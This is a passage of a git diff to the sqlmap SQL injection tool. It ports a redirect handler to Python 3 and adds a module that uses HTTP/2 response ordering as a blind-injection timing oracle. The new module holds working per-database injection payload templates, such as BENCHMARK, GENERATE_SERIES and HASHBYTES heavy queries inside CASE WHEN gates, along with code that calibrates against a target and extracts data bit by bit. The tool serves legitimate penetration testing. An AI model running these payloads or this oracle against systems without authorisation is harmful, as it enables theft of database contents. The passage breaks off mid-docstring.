re.finditer(r"(?:^|,\s*)([^=;,]+)=([^;,]+)", headers[HTTP_HEADER.SET_COOKIE]): + key = match.group(1).strip() + if key.lower() not in ("expires", "path", "domain", "max-age", "secure", "httponly", "samesite"): + cookies[key] = match.group(2).strip() + + req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies) + try: - result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) - except urllib2.HTTPError, e: - result = e + result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) + except _urllib.error.HTTPError as ex: + result = error = ex + + # Dirty hack for https://github.com/sqlmapproject/sqlmap/issues/4046 + try: + hasattr(result, "read") + except KeyError: + class _(object): + pass + result = _() # Dirty hack for http://bugs.python.org/issue15701 try: result.info() except AttributeError: def _(self): - return getattr(self, "hdrs") or {} + return getattr(self, "hdrs", {}) + result.info = types.MethodType(_, result) if not hasattr(result, "read"): def _(self, length=None): - return e.msg + try: + retVal = getSafeExString(error) + except: + retVal = "" + return getBytes(retVal) + result.read = types.MethodType(_, result) if not getattr(result, "url", None): @@ -147,17 +205,17 @@ def _(self, length=None): except: redurl = None result = fp - fp.read = StringIO("").read + fp.read = io.BytesIO(b"").read else: result = fp threadData.lastRedirectURL = (threadData.lastRequestUID, redurl) result.redcode = code - result.redurl = redurl + result.redurl = getUnicode(redurl) if six.PY3 else redurl return result - http_error_301 = http_error_303 = http_error_307 = http_error_302 + http_error_301 = http_error_303 = http_error_307 = http_error_308 = http_error_302 def _infinite_loop_check(self, req): if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= MAX_SINGLE_URL_REDIRECTIONS or len(req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS): diff --git a/lib/request/templates.py b/lib/request/templates.py index b95173ff914..42ebe074e20 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.data import kb @@ -13,10 +13,9 @@ def getPageTemplate(payload, place): if payload and place: if (payload, place) not in kb.pageTemplates: - page, _ = Request.queryPage(payload, place, content=True, raise404=False) + page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None) retVal = kb.pageTemplates[(payload, place)] return retVal - diff --git a/lib/request/timeless.py b/lib/request/timeless.py new file mode 100644 index 00000000000..619ddfc347a --- /dev/null +++ b/lib/request/timeless.py @@ -0,0 +1,752 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# HTTP/2 "timeless timing" oracle (Van Goethem et al., USENIX Security 2020) built on the native +# client's exchange_pair() primitive (lib/request/http2.py). Two requests are coalesced into a single +# TCP write and multiplexed on one connection; because they share the packet and the path, network +# jitter hits both equally and cancels, so the RELATIVE order in which their responses complete reflects +# only the server-side processing delta. That lets a millisecond (or sub-ms) difference in query work be +# read that absolute wall-clock timing, drowned by jitter, cannot resolve - and it needs no SLEEP: the +# NATURAL execution-time gap between a true and a false boolean branch is signal enough on most engines. +# +# The oracle is only valid when the target processes the two streams CONCURRENTLY; a serializing +# front-proxy makes order track arrival, not work. calibrate() detects that (and estimates the readable +# delta) so the caller never applies the oracle blind - it falls back to classic time-based instead. + +import socket +import ssl +import threading + +from lib.core.enums import DBMS +from lib.request.http2 import _H2Connection + +# Serializes the one-shot autoEngage() so concurrent worker threads never double-calibrate/double-engage. +_engageLock = threading.Lock() + +# Transport-level failures that mean "this connection/attempt is unusable" - covers a mid-exchange drop +# (GOAWAY, reset) as well as a failed (re)connect, including the h2 client's own IOError when the server +# does not negotiate ALPN 'h2' on a fresh socket (seen on backends that speak h2 inconsistently, e.g. only +# some nodes behind a load balancer). Shared by _pairOrder (per-pair retry) and connect.py (the give-up path). +CONNECTIVITY_ERRORS = (socket.error, ssl.SSLError, IOError) + + +def buildConditionPair(condition, heavy, cheap="0"): + """Turn a boolean `condition` (the same comparison bisection injects at INFERENCE_MARKER, e.g. + 'ORD(...)>64') into the two INFERENCE expressions the timeless oracle needs: one that makes the DB + do the expensive `heavy` work iff the condition is TRUE, and its mirror that does the SAME heavy work + iff the condition is FALSE. Exactly one of the pair runs heavy for any given row, so response order + names the bit - with NO SLEEP, purely from the natural cost of `heavy`. Both expressions are valid + booleans (>=0 always holds) so they never change the page, keeping the channel blind. + + `heavy` is a DBMS-specific bounded-cost scalar subquery (a partial scan / expensive function); + `cheap` is a constant. CASE/WHEN is used so the branch is gated deterministically rather than relying + on optimiser short-circuit. + + >>> c, n = buildConditionPair("ORD(x)>64", "SELECT COUNT(*) FROM t") + >>> c + '(CASE WHEN (ORD(x)>64) THEN (SELECT COUNT(*) FROM t) ELSE (0) END)>=0' + >>> n + '(CASE WHEN (ORD(x)>64) THEN (0) ELSE (SELECT COUNT(*) FROM t) END)>=0' + """ + condExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, heavy, cheap) + negExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, cheap, heavy) + return condExpr, negExpr + + +def _pairOrder(connSource, reqA, reqB, timeout, retries=2): + """Send reqA and reqB as one coalesced pair; return the stream id that finished FIRST plus the two + stream ids in send order (reqA got the lower id). + + `connSource` is either a live _H2Connection or a zero-arg callable returning one. The callable form + lets a dropped connection be replaced transparently and the pair re-sent: a long extraction routinely + outlives a single HTTP/2 connection (the server retires it with GOAWAY after its per-connection request + cap), and a coalesced boolean-read pair is idempotent, so re-sending it on a fresh connection is safe. + Opening that fresh connection is retried the same way - it can fail just like an in-progress exchange + (including ALPN renegotiation failing on the new socket). A raw connection (used by calibration and the + self-test) is not retried - it simply raises.""" + attempt = 0 + while True: + conn = None + try: + conn = connSource() if callable(connSource) else connSource + order, _results = conn.exchange_pair([reqA, reqB], timeout) + return order[0], conn.next_sid - 4, conn.next_sid - 2 + except CONNECTIVITY_ERRORS: + if conn is not None: + conn.close() # retire; a callable source reopens on the next pass + attempt += 1 + if not callable(connSource) or attempt > retries: + raise + + +def readBit(connSource, reqCond, reqNeg, votes=5, timeout=30): + """Read one boolean by the cond-last FRACTION over symmetric pairs, ESCALATING when the fraction is + ambiguous (load-degraded). `connSource` is a live connection or a factory (see _pairOrder) so a + connection dropped mid-vote (e.g. server GOAWAY) is replaced and that pair re-sent transparently. + + reqCond does the heavy work iff the guessed condition is TRUE; reqNeg does the SAME heavy work iff the + condition is FALSE (it carries the negated condition). Exactly one runs heavy, so whichever finishes + LAST names the answer. Each vote alternates which stream id carries reqCond (cancels lower-id-first bias) + and counts how often reqCond finished last: + - real TRUE -> reqCond (heavy) finishes last almost every vote -> fraction ~1.0 + - real FALSE -> reqNeg (heavy) finishes last -> fraction ~0.0 + - END-OF-STRING -> the comparison is NULL, and negatePayload's NULL-safe negation makes reqNeg run + heavy on that NULL, so reqCond finishes first -> fraction ~0.0 (on a DBMS that instead ERRORS past + the end - CockroachDB - both requests error and it is a ~0.5 coin flip). + Decision: fraction >= 0.8 -> TRUE; <= 0.5 -> FALSE (covers real-false ~0, NULL end-of-string ~0, and + CockroachDB error end-of-string ~0.5, so the string terminates cleanly instead of inventing phantom + trailing characters). The 0.5-0.8 band is where a genuine TRUE bit lands when self-induced load (e.g. + --threads: N value-parallel workers => ~Nx heavy queries contend and add jitter, though calibration was + single-threaded) drags its fraction down; that is NOT a mean shift but variance, so we ESCALATE - keep + voting up to a cap and average it out - which recovers it above 0.8 without lowering the threshold (a + lower threshold would misread CockroachDB's ~0.5 error-eos as a character). SYMMETRIC, so the base query + time cancels - robust where absolute pair-time, gap, and always-heavy-reference signals are confounded.""" + condLast, i = 0, 0 + cap = votes * 5 # escalation ceiling for ambiguous (load-degraded) bits + while True: + if i % 2 == 0: + first, loSid, _hiSid = _pairOrder(connSource, reqCond, reqNeg, timeout) + condSid = loSid + else: + first, _loSid, hiSid = _pairOrder(connSource, reqNeg, reqCond, timeout) + condSid = hiSid + if first != condSid: # reqCond finished last -> it ran heavy -> vote says TRUE + condLast += 1 + i += 1 + if i < votes: # gather a minimum sample before deciding + continue + fraction = condLast / float(i) + if fraction >= 0.8: + return True + if fraction <= 0.5: + return False + if i >= cap: # still ambiguous after escalating -> decide by the same threshold + return fraction >= 0.8 + + +def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None): + """Decide whether the target is usable for the timeless oracle. Sends a KNOWN-asymmetric pair + (reqSlow does real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent + backend the slow request finishes last regardless of its id. Returns (usable, confidence) where + confidence is the fraction of trials in which the slow request finished last. Below `threshold` the + backend is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if + given, is called once per trial so the caller can stream a progress indicator.""" + slowLast = 0 + for i in range(trials): + if i % 2 == 0: + first, loSid, _hiSid = _pairOrder(conn, reqSlow, reqFast, timeout) + slowSid = loSid + else: + first, _loSid, hiSid = _pairOrder(conn, reqFast, reqSlow, timeout) + slowSid = hiSid + if first != slowSid: + slowLast += 1 + if progress is not None: + progress() + confidence = slowLast / float(trials) if trials else 0.0 + return (confidence >= threshold), confidence + + +def connect(host, port=443, proxy=None, timeout=30): + """Open a dedicated HTTP/2 connection for timeless probing (kept separate from the request pool so + its multiplexed pairs never interleave with ordinary single-stream traffic).""" + return _H2Connection(host, port, proxy, timeout) + + +class TimelessOracle(object): + """The engaged timeless-timing oracle, held on kb.timeless while active. queryPage() routes every + boolean comparison (timeBasedCompare requests) here instead of measuring wall-clock time: it takes the + already-assembled condition request (built via buildOnly), pairs it against a FIXED always-heavy + reference and reads the bit from response order. This reuses the entire bisection/inference/threading + stack unchanged - bisection just calls queryPage and gets a bool. + + Thread safety: each worker thread gets its OWN H2 connection (threading.local), mirroring keepalive.py + and the http2 pool - streams from different threads never interleave on one socket, so parallel + per-value extraction (--threads / _threadedInferenceValues) is safe. The reference request is an + immutable spec-derived dict, so it is shared read-only across threads.""" + + def __init__(self, host, port, refReq, proxy=None, asymVotes=12, votes=5, timeout=30): + self.host, self.port, self.proxy = host, port, proxy + self.refReq = refReq # fixed always-heavy reference request (asymmetric tiebreak) + self.asymVotes = asymVotes # asymmetric tiebreak: fixed pairs, fraction-thresholded + self.votes = votes # symmetric: pairs per bit, cond-last fraction thresholded (readBit); + # enough votes that TRUE ~100% and end-of-string ~50% separate cleanly + self.timeout = timeout + self._local = threading.local() + self._conns = [] # every opened connection, for clean teardown + self._lock = threading.Lock() + self.savedTechnique = None # active technique whose vector we swapped (restored on disengage) + self.savedVector = None + + def _conn(self): + conn = getattr(self._local, "conn", None) + if conn is None or not conn.usable: + if conn is not None: # retire the dead one so reconnects don't leak sockets + try: + conn.close() + except Exception: + pass + with self._lock: + try: + self._conns.remove(conn) + except ValueError: + pass + conn = self._local.conn = connect(self.host, self.port, self.proxy, self.timeout) + with self._lock: + self._conns.append(conn) + return conn + + def readBitFromSpecs(self, condSpec, negSpec=None): + """Read the bit from the assembled condition request and, when available, its negation. With a + negSpec the SYMMETRIC oracle is used (cond-last fraction over votes - base query time cancels, so it + stays reliable on heavy/noisy enumeration queries and detects end-of-string as the ~50% split). The + asymmetric-vs-reference path is only a fallback for a non-sentinel vector (no negSpec) and must not + be used for a heavy-base condition (the trivial-base reference is not comparable). Specs are the + (url, method, headers, post) tuples from getPage(buildOnly=True).""" + reqCond = _specToReq(condSpec, self.host) + # Pass the bound _conn factory (not a resolved connection) so a pair whose connection is retired + # mid-read (server GOAWAY on a long dump) is transparently re-sent on a fresh one. + if negSpec is not None: + return readBit(self._conn, reqCond, _specToReq(negSpec, self.host), votes=self.votes, timeout=self.timeout) + return readBitAsymmetric(self._conn, reqCond, self.refReq, self.asymVotes, self.timeout) + + def close(self): + with self._lock: + for conn in self._conns: + try: + conn.close() + except Exception: + pass + self._conns = [] + + +def engage(host, port, vector, proxy=None, timeout=30): + """Build the fixed always-heavy reference from `vector` (INFERENCE=1=1) and install a per-thread + TimelessOracle on kb.timeless (connections open lazily per worker thread). queryPage picks it up + automatically. Call disengage() when done. `vector` is the tuned rung-2 heavy vector (see tuneHeavy). + The reference is used by the asymmetric tiebreak when a symmetric read splits (end-of-string / noise).""" + from lib.core.data import kb + + refReq = _forgeRequest("1=1", host, vector) + kb.timeless = TimelessOracle(host, port, refReq, proxy=proxy, timeout=timeout) + return kb.timeless + + +def disengage(): + """Tear down the timeless oracle and close all per-thread connections.""" + from lib.core.data import kb + + oracle = kb.get("timeless") + if oracle is not None: + if oracle.savedTechnique is not None: + try: + from lib.core.common import getTechniqueData + getTechniqueData(oracle.savedTechnique).vector = oracle.savedVector + except Exception: + pass + oracle.close() + kb.timeless = None + + +def hintTimeless(): + """Advisory nudge: when a scan is about to rely on TIME-based blind (the slowest channel) and the user + did NOT pass '--timeless', probe the target for HTTP/2 and, if it speaks it, suggest '--timeless' once. + Only fires when time-based is the channel that will actually be used (no faster in-band option) so the + hint is never noise. Purely advisory, never raises, at most one message per run.""" + from lib.core.data import conf, kb + from lib.core.common import isTechniqueAvailable, singleTimeWarnMessage + from lib.core.enums import PAYLOAD + + try: + if conf.get("timeless") or kb.get("timelessHinted"): + return + kb.timelessHinted = True + + # only relevant when time-based is the chosen channel (a faster in-band one would be used instead) + if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): + return + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.BOOLEAN)): + return + + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + parts = urlsplit(conf.url or "") + if parts.scheme != "https": + return + + # cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2' + conn = connect(parts.hostname, parts.port or 443, None, conf.timeout or 30) + conn.close() + singleTimeWarnMessage("target speaks HTTP/2 - switch '--timeless' can extract this time-based injection " + "by relative response order (no delay), typically far faster. Consider re-running with '--timeless'") + except Exception: + pass + + +def autoEngage(): + """Attempt to engage the timeless oracle for the current target's EXTRACTION phase. Called once by + action() after detection (so the heavy vector is swapped in BEFORE any extraction payload is built). + Requires '--timeless', an https/HTTP-2 target, and a confirmed time-based technique on a DBMS with a + light-heavy primitive; calibrates + tunes and only engages if the response-order signal is reliable + (the safety gate) - otherwise the scan silently keeps using classic time-based. Never raises.""" + from lib.core.data import conf, kb, logger + from lib.core.common import Backend + + with _engageLock: + if kb.get("timeless") is not None: + return True + return _doAutoEngage(conf, kb, logger, Backend) + + +def _doAutoEngage(conf, kb, logger, Backend): + try: + if not conf.get("timeless"): + return False + + # Never during detection - that phase confirms the vuln (and runs the false-positive check) by + # measuring REAL induced delays, which response-order would break. kb.testMode is True throughout + # detection and False once extraction begins. + if kb.get("testMode"): + return False + + # Timeless accelerates TIME-based extraction, so it needs a CONFIRMED time-based technique whose + # data carries an [INFERENCE] vector - that vector is what we swap for the tuned heavy one. + from lib.core.enums import PAYLOAD + from lib.core.settings import INFERENCE_MARKER + timeData = kb.injection.data.get(PAYLOAD.TECHNIQUE.TIME) if (kb.injection and kb.injection.data) else None + if not timeData or INFERENCE_MARKER not in (timeData.vector or ""): + return False + + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + parts = urlsplit(conf.url or "") + if parts.scheme != "https": + logger.warning("'--timeless' requires an https/HTTP-2 target. Falling back to classic time-based") + return False + + host, port = parts.hostname, parts.port or 443 + dbms = Backend.getIdentifiedDbms() + if lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) is None: + logger.warning("'--timeless' has no heavy-query primitive for DBMS '%s' yet. Falling back to classic time-based" % dbms) + return False + + # Calibration sends a few hundred coalesced probe-pairs to measure the target's response-order + # reliability and tune the work size - that is the pause the user sees before engagement. Announce + # it and stream a dot per probe, mirroring the classic time-based "statistical model, please wait". + import time as _time + from lib.core.common import dataToStdout + dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (_time.strftime("%X"), dbms)) + probe = connect(host, port, None, conf.timeout or 30) + # value-parallel dumping runs conf.threads workers concurrently, each firing heavy queries; demand + # that much more calibration margin so the tuned cost survives the self-induced load (see tuneHeavy). + loadFactor = max(1, conf.threads or 1) + try: + vector, cost, confidence = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor) + finally: + probe.close() + dataToStdout(" (done)\n") + + if not vector: + logger.warning("HTTP/2 timeless timing is not usable on this target (confidence %.2f, backend likely serializes streams). Falling back to classic time-based" % confidence) + return False + + oracle = engage(host, port, vector, timeout=conf.timeout or 30) + # Votes per bit for the cond-last fraction: enough that a real TRUE (~100%) clears the 80% threshold + # and end-of-string (~50%) stays below it, with headroom for jitter. A perfectly-calibrated target + # needs fewer; a marginal one gets more. (No validateChar re-check runs under timeless.) + oracle.votes = 5 if confidence >= 1.0 else 9 + + # bisection forges its comparison payloads from the TIME technique's vector - swap in the tuned + # heavy (sentinel) vector NOW (before extraction builds any payload) so every condition request + # gates the heavy branch and carries the sentinels the symmetric oracle negates. Restored on + # disengage(). + oracle.savedTechnique = PAYLOAD.TECHNIQUE.TIME + oracle.savedVector = timeData.vector + timeData.vector = vector + + logger.info("turning on HTTP/2 timeless timing (heavy cost %d, calibration %.2f) - reading bits by response order, no delay" % (cost, confidence)) + return True + except Exception as ex: + from lib.core.common import getSafeExString + logger.warning("HTTP/2 timeless timing setup failed ('%s'). Falling back to classic time-based" % getSafeExString(ex)) + return False + + +# Connection/h2-forbidden request headers that a coalesced pair must not carry (open_url strips the same +# set for single requests); ':authority' replaces Host, and content-length/framing are h2's job. +_FORBIDDEN_HEADERS = frozenset(("host", "connection", "keep-alive", "proxy-connection", + "transfer-encoding", "upgrade", "content-length")) + + +def _specToReq(spec, fallbackAuthority): + """Convert the (url, method, headers, post) tuple that Connect.getPage(buildOnly=True) returns into + the request dict exchange_pair expects.""" + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + + url, method, headers, post = spec + parts = urlsplit(url) + path = parts.path or "/" + if parts.query: + path += "?" + parts.query + reqHeaders = {} + for key in (headers or {}): + name = key.decode("latin-1") if isinstance(key, bytes) else key + if name.lower() not in _FORBIDDEN_HEADERS: + reqHeaders[key] = headers[key] + return {"method": method, "path": path, "authority": (parts.netloc.split("@")[-1] or fallbackAuthority), + "headers": reqHeaders, "body": post} + + +def getHeavyVector(dbms=None): + """Return the raw heavy-query time-based vector shipped for `dbms` (default: the identified back-end), + reused verbatim as the timeless rung-2 payload - it is already an '... IF/CASE (INFERENCE) THEN <heavy> + ELSE <cheap> ...' gate, WAF-tuned and per-DBMS, so the heavy work provides the natural delta with no + SLEEP. Prefers the plain 'AND' boundary variant. Returns None if none is loaded.""" + from lib.core.data import conf + from lib.core.common import Backend + + dbms = dbms or Backend.getIdentifiedDbms() + if not dbms: + return None + + andVector = orVector = None + for test in (conf.tests or []): + title = (test.get("title") or "") + if "heavy query" not in title.lower(): + continue + testDbms = ((test.get("details") or {}).get("dbms")) or "" + testDbms = testDbms if isinstance(testDbms, str) else " ".join(testDbms) + # tolerate combined labels like "Microsoft SQL Server/Sybase" + if not (dbms.lower() in testDbms.lower() or any(part.strip().lower() == dbms.lower() for part in testDbms.split('/'))): + continue + vector = (test.get("vector") or "").strip() + # Only the inband boundary variants splice into a WHERE clause; skip stacked (';...') and inline forms. + if vector.upper().startswith("AND "): + andVector = andVector or vector + elif vector.upper().startswith("OR "): + orVector = orVector or vector + return andVector or orVector + + +# Light, TUNABLE heavy primitives for timeless rung 2. The shipped heavy-query vectors are tuned for +# absolute-timing thresholds (seconds) - e.g. SQLite RANDOMBLOB([SLEEPTIME]00000000/2) is ~50MB/request - +# which is both needlessly slow AND a DoS risk. Timeless only needs a few milliseconds above the target's +# scheduling noise, so we generate the SAME bounded-work idioms (series / catalog cross-joins) capped by a +# [COST] the calibrator dials UP from a small default until the response-order signal is reliable. That +# self-tunes to the lightest payload that works - fast, and never allocates a huge blob. +# [COST] is replaced with a row count; each primitive is a scalar sub-select doing ~[COST] units of +# bounded work. Grouped by dialect and keyed on sqlmap's canonical DBMS names (DBMS.* enum) so a fork +# (MariaDB->MySQL, CockroachDB->PostgreSQL, ...) resolves via its base DBMS, and there is no string drift. +# A DBMS absent here (or whose primitive is wrong on a given target) simply fails calibration and the scan +# falls back to classic time-based - the light-heavy is always safety-gated, never applied blind. +# +# SCOPE: timeless layers on top of a DETECTED time-based technique, so it can only ever engage on a DBMS +# that ships a time-based payload (data/xml/payloads/time_blind.xml): PostgreSQL, MySQL (+MariaDB/TiDB), +# Oracle, Microsoft SQL Server, Sybase, SQLite, Firebird, ClickHouse, IBM DB2, Informix, HSQLDB, SAP MaxDB. +# Engines with NO time-based payload (H2, MonetDB, CrateDB, Vertica, Presto/Trino, Snowflake) are never +# detected as injectable via time, so a light-heavy primitive for them is dead code - they are NOT listed. +# +# GATING & SAFETY: the heavy work must run for exactly ONE of a boolean condition and its negation, so +# response ORDER names the bit. It is gated by the shipped-vector shape `[RANDNUM]=(CASE WHEN (cond) THEN +# (<heavy>) ELSE [RANDNUM] END)` - the THEN branch does the work iff cond holds, the ELSE is a cheap literal. +# Some optimisers HOIST an uncorrelated scalar subquery out of the CASE and run it in BOTH branches (seen on +# TiDB with `(SELECT BENCHMARK(N,MD5(1)))`; MySQL 8.4 does not). That is not a correctness hazard here: when +# both branches do equal work the measured delta is ~0, so tuneHeavy's MIN_HEAVY_MS gate REJECTS the rung +# and the scan falls back to classic time-based - correct data, just no timeless speedup. Corruption only +# ever came from ENGAGING with a tiny-but-nonzero delta that flips under load; requiring MIN_HEAVY_MS of +# real server-side delay (not just a reliable idle order) is the fix for that, and it is primitive-agnostic. +# So the rule is simply: pick the strongest per-DBMS bounded primitive; if a target hoists/folds it to a +# sub-threshold delta, it safely falls back. Keyed on DBMS.* so forks resolve via their base DBMS +# (MariaDB/TiDB->MySQL, CockroachDB->PostgreSQL). +_LH_MYSQL = "(SELECT BENCHMARK([COST],MD5(1)))" # MySQL/MariaDB: CPU burn, O(1) memory (TiDB hoists -> safe fallback) +_LH_MSSQL = "(SELECT LEN(HASHBYTES('SHA2_512',REPLICATE(CAST('a' AS VARCHAR(MAX)),[COST]))))" # MSSQL/Sybase (VARCHAR(MAX) bypasses REPLICATE's 8000-byte cap) + +LIGHT_HEAVY = { + DBMS.PGSQL: "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[COST]))", # PG materialises the series + DBMS.MYSQL: _LH_MYSQL, + DBMS.MSSQL: _LH_MSSQL, + DBMS.SYBASE: _LH_MSSQL, + DBMS.ORACLE: "(SELECT COUNT(*) FROM DUAL CONNECT BY LEVEL<=[COST])", + # recursive CTE - rows depend on the previous, so the engine must produce them one by one (never folded) + DBMS.SQLITE: "(SELECT COUNT(*) FROM (WITH RECURSIVE _c(_x) AS (SELECT 1 UNION ALL SELECT _x+1 FROM _c LIMIT [COST]) SELECT _x FROM _c))", + # ClickHouse ships a time-based payload; a plain COUNT folds (columnar) so force a per-row hash + DBMS.CLICKHOUSE: "(SELECT COUNT(*) FROM numbers([COST]) WHERE MD5(toString(number))='zz')", + # Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> fixed system-catalog cross-join + DBMS.FIREBIRD: "(SELECT SUM(a.RDB$RELATION_ID) FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c)", + # NOTE: DB2/Informix/HSQLDB/SAP MaxDB ship time-based payloads but have no validated light-heavy here -> + # no entry -> they gracefully fall back to classic time-based (SLEEP/heavy-query) extraction. +} + +# Ascending cost ladder tuneHeavy walks ([COST] = generator rows / recursion depth / BENCHMARK iterations / +# string length). It escalates until the MEASURED server-side heavy delta is >= MIN_HEAVY_MS (a real time +# margin so bits don't flip under extraction load) AND the response-order calibrates reliably. The same +# [COST] costs very different time per primitive (a generator row << a BENCHMARK MD5 iteration), so the +# ladder is walked by measured time, not a fixed floor - each engine lands on whatever rung first clears the +# margin. The low rungs let CPU-dense primitives land near 20-60 ms instead of overshooting. Top is 4M so +# string primitives allocate at most ~4 MB (memory-safe, no spill/DoS). If even 4M can't reach MIN_HEAVY_MS +# reliably the target is too noisy/fast-to-read -> fall back to classic. Correctness beats ms - a flip means +# re-extract. +LIGHT_HEAVY_COSTS = (20000, 60000, 200000, 600000, 2000000, 4000000) +MIN_HEAVY_MS = 15.0 # required server-side heavy delta; ~15 ms clears realistic multi-hop extraction-load jitter +# The heavy/cheap PAIR separation must also be >= this fraction of the base (cheap) pair time - an absolute +# floor alone is marginal on a slow multi-hop path (a 15 ms margin on a ~50 ms base flips ~10% of bits under +# load); requiring a relative margin makes such a target climb to a robustly-separated cost. See tuneHeavy. +MIN_SEPARATION_FRAC = 0.5 + +# DBMSes whose primitive is a bounded GENERATOR whose row count sits in the [COST] slot. For these the bit +# gates the WORK AMOUNT (the count) rather than selecting between a heavy and a cheap CASE branch. This is +# what makes the oracle survive optimisers that DECORRELATE/HOIST an uncorrelated scalar subquery out of a +# CASE and run it in BOTH branches (observed on CockroachDB with GENERATE_SERIES for a non-foldable +# condition - the false branch still materialised the full series, so cond and neg were BOTH heavy and the +# response order was a coin flip -> corruption). With the count itself computed from the bit +# (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)) there is no constant subquery to hoist: the engine +# must evaluate the CASE first and only then generate that many rows, so exactly one of cond/neg does the +# work. CONNECT BY LEVEL<=expr and LIMIT expr are standard, so Oracle/SQLite use the same form. Validated +# end-to-end on CockroachDB (was corrupting, now reads 1.00) and PostgreSQL (still engages, unchanged). +_GATED_COST = frozenset((DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE)) + + +# Inert SQL-comment sentinels bracketing the injected comparison inside the heavy vector. They let the +# oracle build the exact NEGATED payload (heavy-iff-false) from the forged condition payload by a single +# regex - enabling the SYMMETRIC oracle (condition vs its negation, exactly one runs heavy, 1 pair reads +# the bit both ways) without any change to bisection. Comments are ignored by the DBMS parser. +INFERENCE_BEGIN = "/*tlb*/" +INFERENCE_END = "/*tle*/" + + +def lightHeavyVector(dbms, cost): + """Return the timeless rung-2 vector for `dbms` doing ~`cost` units of bounded work (or None if no + primitive is defined). The INFERENCE slot is bracketed with sentinels so negatePayload() can derive the + mirror for the symmetric oracle (condition vs its negation, exactly one runs heavy). + + Two gating shapes, both flowing through the exact same payload machinery: + - GENERATOR primitives (see _GATED_COST): the bit is placed INSIDE the row-count bound + (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)), so there is no constant subquery for an + optimiser to hoist out of a CASE and run in both branches - the count itself depends on the bit. + - Everything else: the classic '[RANDNUM]=(CASE WHEN cond THEN <heavy> ELSE [RANDNUM])' branch, used + where the cost slot must stay constant (MySQL BENCHMARK) or there is no numeric cost (Firebird); + these engines were validated not to hoist. + Either way tuneHeavy's MIN_HEAVY_MS gate + faithful (uncorrelated) calibration mean a target that still + manages an unreadable delta simply fails calibration and falls back to classic - never corrupts.""" + primitive = LIGHT_HEAVY.get(dbms) + if not primitive: + return None + if dbms in _GATED_COST: + gate = "(CASE WHEN (%s[INFERENCE]%s) THEN %d ELSE 1 END)" % (INFERENCE_BEGIN, INFERENCE_END, int(cost)) + heavy = primitive.replace("[COST]", gate) + return "AND [RANDNUM]<%s" % heavy + heavy = primitive.replace("[COST]", str(int(cost))) + return "AND [RANDNUM]=(CASE WHEN (%s[INFERENCE]%s) THEN (%s) ELSE [RANDNUM] END)" % (INFERENCE_BEGIN, INFERENCE_END, heavy) + + +def negatePayload(value): + """Return `value` with the sentinel-bracketed comparison replaced by a NULL-SAFE negation, or None if + no sentinel pair is present (a non-timeless vector). Used to build the symmetric oracle's negated + request (the request whose heavy branch must run iff the condition does NOT hold). + + The negation is `(CASE WHEN (cond) THEN 1 ELSE 0 END)=0`, which is TRUE iff `cond` is false OR NULL - + NOT plain `NOT(cond)`. This is the end-of-string fix: past the end of a string the comparison + (ASCII(SUBSTR(...))>n) is NULL, and `NOT(NULL)` is NULL, so with plain NOT NEITHER the condition nor + its negation forces the heavy branch - both requests stay cheap and the response order is left to + secondary noise (measured ~0.6 cond-last on Oracle, not a clean coin flip), which invents phantom + trailing characters. With the CASE form the negation's ELSE catches NULL, so at end-of-string the + NEGATION request runs heavy and the condition request stays cheap: the condition finishes first every + vote (fraction ~0), read as False, and the string terminates cleanly. CASE + integer '=0' is portable + across every DBMS (unlike `IS NOT TRUE`).""" + import re + + pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END))) + if not pattern.search(value or ""): + return None + return pattern.sub(lambda m: "%s(CASE WHEN (%s) THEN 1 ELSE 0 END)=0%s" % (INFERENCE_BEGIN, m.group(1), INFERENCE_END), value) + + +def _pairMs(conn, reqA, reqB, samples=5, timeout=30): + """Median wall-clock of the coalesced PAIR (reqA, reqB) until BOTH streams finish - tracks the heavy + branch when one is heavy, bare round-trip when none. Used for the reliability/separation gate that + decides which cost to engage at (see tuneHeavy).""" + import time as _t + + ts = [] + for _ in range(samples): + s = _t.time() + _pairOrder(conn, reqA, reqB, timeout) + ts.append((_t.time() - s) * 1000.0) + return sorted(ts)[samples // 2] + + +def _calibrationConditions(dbms): + """Return (trueCond, falseCond): a KNOWN-true and KNOWN-false boolean of the SAME shape real + extraction injects - the per-DBMS inference comparison applied to the version banner, i.e. an + UNCORRELATED, 